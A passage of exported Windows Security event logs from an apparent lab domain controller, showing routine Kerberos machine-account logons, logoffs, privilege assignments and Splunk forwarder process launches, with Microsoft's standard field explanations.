with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:12:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257162 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4B8C8C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:12:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257161 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4B8D9A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:12:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257160 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4B8DE2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:12:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257159 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4B928A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59429 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:12:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257158 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4B928A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:12:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257157 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1178 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:12:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257156 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4B8DE2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 59428 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:12:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257155 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4B8DE2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:12:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257154 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4B8D9A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:12:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257153 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4B8D9A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:12:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257152 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4B8C8C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59427 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:12:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257151 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4B8C8C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:12:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257164 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:12:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257163 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1168 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:12:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257165 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4B928A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:12:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257168 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4BB08B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:12:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257167 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4BB08B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59440 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:12:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257166 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4BB08B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:13:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257169 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x874 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:13:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257170 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf50 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:13:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257171 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf90 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:13:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257172 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13ac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:13:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257173 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x718 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:13:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257175 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf84 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:13:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257174 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security 